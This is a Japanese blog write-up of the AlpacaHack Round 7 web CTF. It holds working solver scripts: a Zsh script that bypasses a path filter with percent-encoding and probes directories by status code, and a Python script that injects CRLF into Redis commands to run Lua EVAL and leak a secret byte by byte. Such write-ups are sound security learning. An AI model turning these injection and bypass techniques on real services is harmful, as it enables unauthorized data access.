以下の内容はhttps://rsk0315.hatenablog.com/entry/2024/12/01/022514より取得しました。


write-up: AlpacaHack Round 7 (Web)

AlpacaHack Round 7 (Web) に参加しました。えびちゃん的には初めての CTF のコンテストです。

自分語り

シェルスクリプトでごにょごにょやったり、インジェクションのことを考えたりするのは好きなので、うまいことハマれば CTF は好きそうなのかな?というふんわりした気持ちは何年か前からあったのですが、常設の CTF サイトのよさそうなものがわからなかったり、始め方がいまいちわからなかったりでなんとなく敬遠していました。 AlpacaHack には半月くらい前に登録して、Challenge Archive から(Welcome を除いて、)Web を 2 つ、Pwn を 5 つ、Rev と Crypto を 1 つずつ解きました。

元々(競プロをする前から)バイナリファイルを読むの自体はやっていて、そういう部分とはある程度仲よしだったと思います。お友だちコマンドは hexdump -C です。 最近は、OpenSSL の証明書や秘密鍵のファイル(PEM や DER 形式のやつ)を読んで楽しんでいました。 というか、それを読みながら「RSA 用の鍵ってこういう風にエンコードされてるのね〜」「そういえば、CTF だと RSA 関連の問題が出るんだったよね〜」と思って、「AlpacaHack っていうのが最近話題になってたし、始めてみようかね〜」となったのが始めた経緯でした。

Crypto に関しては、競プロで慣れているような群の話もありつつ、ワードサイズには収まらない値が当然だったりして前提が結構違うなという気持ちがあります。 まだまだ知らないアルゴリズムがたくさんあるんだな〜というところです。たとえば LLL というのはなんですか(名前だけは無限回聞いている)。

今回のコンテストの話

シェルの出力は、#> から始まる行で示し、出力の省略は #: で示します。

Treasure Hunt

まず web/Dockerfile を読みます。FLAG_PATH は(MD5 ハッシュに基づく)深い階層のパスっぽいので、とりあえずローカルで見てみます。

% docker exec -it treasure-hunt-treasure-hunt-1 bash
I have no name!@b557aca14e98:/app$ ls -R
#:
#> ./public/3/8/7/6/9/1/7/c/b/d/1/b/3/d/b/1/2/e/3/9/5/8/7/c/6/6/a/c/2/8/9/1/f/l/a/g/t/x:
#> t
#:

I have no name!@b557aca14e98:/app$ cat ./public/3/8/7/6/9/1/7/c/b/d/1/b/3/d/b/1/2/e/3/9/5/8/7/c/6/6/a/c/2/8/9/1/f/l/a/g/t/x/t 
#> Alpaca{REDACTED}

というわけで http://localhost:3000/3/8/7/6/9/1/7/c/b/d/1/b/3/d/b/1/2/e/3/9/5/8/7/c/6/6/a/c/2/8/9/1/f/l/a/g/t/x/t にアクセスできればいいんですが、/[flag]/ にマッチするとだめらしいので考えます。URL が case-insensitive だったらうれしいなと思って http://localhost:3000/3/8/7/6/9/1/7/c/b/d/1/b/3/d/b/1/2/e/3/9/5/8/7/c/6/6/A/c/2/8/9/1/F/L/A/G/t/x/t としてみましたがだめらしいので、もうちょっと考えます。

% curl http://localhost:3000/drum
#> 🥁

% curl http://localhost:3000/dru%6d
#> 🥁

curl だと %-encode しても意図したものが返ってきてくれていそうです。これを decode しているのが curl 側なのかサーバ側(の判定箇所以降)なのかがこの段階では(事前知識なしでは)判断できないですが、とりあえず後者だったらうれしいので後者だとして進めます。

% curl http://localhost:3000/3/8/7/6/9/1/7/c/b/d/1/b/3/d/b/1/2/e/3/9/5/8/7/c/6/6/%61/c/2/8/9/1/%66/%6c/%61/%67/t/x/t
#> Alpaca{REDACTED}

あ〜〜。ということで、あとは実際のサーバにおけるパスを特定する方法を考えます。

とりあえず、存在することを知っているディレクトリとして /3 があるので、そこにアクセスしてみます。

% curl -i http://localhost:3000/3
#> HTTP/1.1 301 Moved Permanently
#:
#> Location: /3/
#:

% curl -i http://localhost:3000/4
#> HTTP/1.1 404 Not Found
#:

あ〜。ステータスコードで判断できそうですね。

Pythonrequests.get(url, allow_redirects=False).ok をしようとしましたが、%-encode まわりが期待通りにいってくれないようだったので、ソルバは Zsh で書きました。

BASE_URL=http://34.170.146.252:19843

escape() {
    echo ${${${${1//f/%66}//l/%6c}//a/%61}//g/%67}
}

query() {
    echo "GET $1"
    local target_path=$(escape $1)
    response=$(curl -sw '%{http_code}\n' -o /dev/null "$BASE_URL$target_path")
    [[ $response != 404 ]]
}

target_path=
for _ in {1..32}; do
    for x in {0..9} {a..f}; do
        if query "$target_path/$x"; then
            target_path+=/$x
            break
        fi
    done
done

echo $target_path

curl ${BASE_URL}$(escape "$target_path/f/l/a/g/t/x/t")
% zsh solve.zsh
#:
#> GET /*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*
#> /*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*
#> Alpaca{*************************}

Alpaca Poll

各ファイルを読んでいきます。

    // no injection, please
    animal = animal.replace('\r', '').replace('\n', '');
    const message = `INCR ${animal}\r\n`;

あからさまに「ここをやってください」と書いてくださっているので、ここを見ていきます。 Redis を使っているようなので、まずは(具体的なインジェクションのことは忘れて)Redis でどうしたら取得できるかを考えます。

% docker exec -it alpaca-poll-alpaca-poll-1 bash
I have no name!@6439a1641d16:/app$ redis-cli
127.0.0.1:6379> incr dog
#> (integer) 18
127.0.0.1:6379> incr dog
#> (integer) 19
127.0.0.1:6379> get flag
#> "Alpaca{REDACTED}"

Redis のコマンドはあまり知らないので、ドキュメントを読みます。なんらかのことをした結果の整数値が得られるので、「フラグの $i$ 文字目の ASCII としての値」みたいなのが得られるコマンドがあるとうれしいです。 EVALScripting with Lua を見つけたので、もうどうにでもできそうです。

I have no name!@6439a1641d16:/app$ redis-cli eval 'return string.byte(redis.call("GET", KEYS[1]), 1)' 1 flag
#> (integer) 65
I have no name!@6439a1641d16:/app$ redis-cli eval 'return string.byte(redis.call("GET", KEYS[1]), 2)' 1 flag
#> (integer) 108

これにはえびちゃんもにっこりです。あとは、INCR ${animal} の部分でどう EVAL を実行するかを考えればよさそうです。 とりあえず、うまくいっているかをわかりやすく調べたいので、INCR dog を 2 回実行するようなことができるかを試してみます。

% curl http://localhost:3000/vote -d 'animal=dog;incr dog'
#> {"error":"something wrong"}

とりあえず ; 区切りにしてみましたが、Redis はそういう感じの子ではないらしいです。

% curl http://localhost:3000/vote -d 'animal=do%0Ag'
#> {"dog":24}

\n の消え方を試してみます。試行錯誤したり、とりあえずたくさん INCR したりして気分転換したりしました。 そういえば JavaScript での全置換って replaceAll ってだよね?と思って、あ〜となりました。

% curl http://localhost:3000/vote -d 'animal=do%0Ag'
#> {"dog":327}

% curl http://localhost:3000/vote -d 'animal=dog%0A%0Aincr dog'
#> {"dog\nincr dog":328}

% curl http://localhost:3000/vote -d 'animal=dog%0D%0D%0A%0Aincr dog'
#> {"dog\r\nincr dog":330}

お? 2 つずつ増えていますね。キーがめちゃくちゃになっていますが、結局欲しいのは値の方なのでどうでもいいですね。 見た感じ、最初のコマンドの結果が返ってきてしまっていそうで、二つ目のコマンド(すなわち、インジェクションして EVAL したいやつ)の返り値を得るためにはもう少し考える必要がありそうです。とりあえず INCR の引数はなしにしてしまってエラー扱いにしたら、後者だけ返ってきてくれないですかね(おいのり)。

% curl http://localhost:3000/vote -d 'animal=%0A%0A eval '\''return string.byte(redis.call("GET", KEYS[1]), 1)'\'' 1 flag'
#> {"\n eval 'return string.byte(redis.call(\"GET\", KEYS[1]), 1)' 1 flag":65}

あ〜〜たすかります。フラグは Alpaca{...} だと知っているので、A であるところの 65 が返ってきてくれてうれしいですね。

あとはそういうソルバを書けばいいですね。

import json

import requests

BASE_URL = "http://34.170.146.252:7782"


def query(i):
    url = f"{BASE_URL}/vote"
    animal = f"\n\n eval 'return string.byte(redis.call(\"GET\", KEYS[1]), {i})' 1 flag"
    res = requests.post(url, data={"animal": animal})
    resj = json.loads(res.text.encode())
    return ("error" not in resj) and chr([*resj.values()][0])


for i in range(1, 200):
    r = query(i)
    if not r:
        break

    print(r, end="")

print()
% python solve.py
#> Alpaca{******************}

minimal-waf・disconnection

うむむうわからないですね。

こういう Admin Bot みたいなのって汎用グッズ(?)みたいなやつなんですか? Challenge Archive のところでも見かけた記憶があります。

% curl 'http://localhost:3000/view?html=script'
#> XSS Detected: script

% curl 'http://localhost:3000/view?html=script' -H 'Sec-Fetch-Site: same-origin' -H 'Sec-Fetch-Dest: x'
#> script

% curl -X POST 'http://localhost:1337/api/report' -H 'Content-Type: application/json' -d '{"url": "https://example.com"}'
#> OK

% curl -X POST 'http://localhost:1337/api/report' -H 'Content-Type: application/json' -d '{"url": "http://34.170.146.252:26860/"}'
#> OK

ふーむ? うーん......?

bot/bot.js の url には好きなことを書けそうなので、そこになんかするんですか?

    await page.goto(url, { timeout: 5_000 });

結局やることがいまいちよくわからずで、前日あまり寝られてないのもあり、そのまま寝てしまいました。 そもそもの定番としての知識みたいな部分が欠けてそうな気がします。

コンテスト後

起きました。寝る前は 7 位だったのですが、起きたら 8 位になっていました。 十分よい順位なのではないでしょうか。えびちゃんは(競プロでも)競技パートにはあまり興味がないのですが、とはいえ (小さめの整数)/(大きめの整数) を見るとうれしい気持ちになってしまいます。

一旦寝てから参加するか迷っていたのですが、2 完早解きでのよい順位だったので、がんばって参加しておいてよかったなと思いました。

ABC にも参加しましたが、20 分くらい遅刻したので微妙な感じでした(遅刻を抜きにしても、もっと早く解けという感じの出来ではありました)。

write-up を書くと非常に歓迎してもらえるらしいので書きました。

おしゃべり

いろいろとまだまだ知らないことが多いので、お勉強していきたいな〜という気持ちです。

最初のうちは、他に人の write-up とかを(ネタバレはある程度避けつつも、それなりには覚悟して)ばーっと読んでいって吸収していくのがいいのかな?と思ったりしています。たとえば下記を読んだりしました(後者はまだ前半しか読んでないです)。

keymoon.hatenablog.com

ptr-yudai.hatenablog.com

これらもちゃんと読みたいです。

furutsuki.hatenablog.com

mitsu1119.github.io

radareorg/radare2 とか pwntools とかを触ったりしていますが、まだちゃんと使いこなせていないというか、うれしさを活かしきれていない感じがありますね。

楕円曲線とか、格子関連のなにか(???)とか、Pollard の $\rho$ 法や $p-1$ 法など、仲よしになりたいトピックはいろいろありますが、焦らずゆっくりやっていきましょうかねえというところです。CTF 以外にもやりたいお勉強はたくさんあって、エルフか忍者になりたい気持ちが強まります。

とりあえずは、競プロでいうところの「とりあえず愚直に書いたときの計算量を考える」「定番の高速化手法を知る(累積和とか座圧とか)」「こういう類のものは DP・にぶたん・etc.」くらいのレベルの、基礎的な感覚を養いたいなという気持ちがあります。

おわり

おわりです。




以上の内容はhttps://rsk0315.hatenablog.com/entry/2024/12/01/022514より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14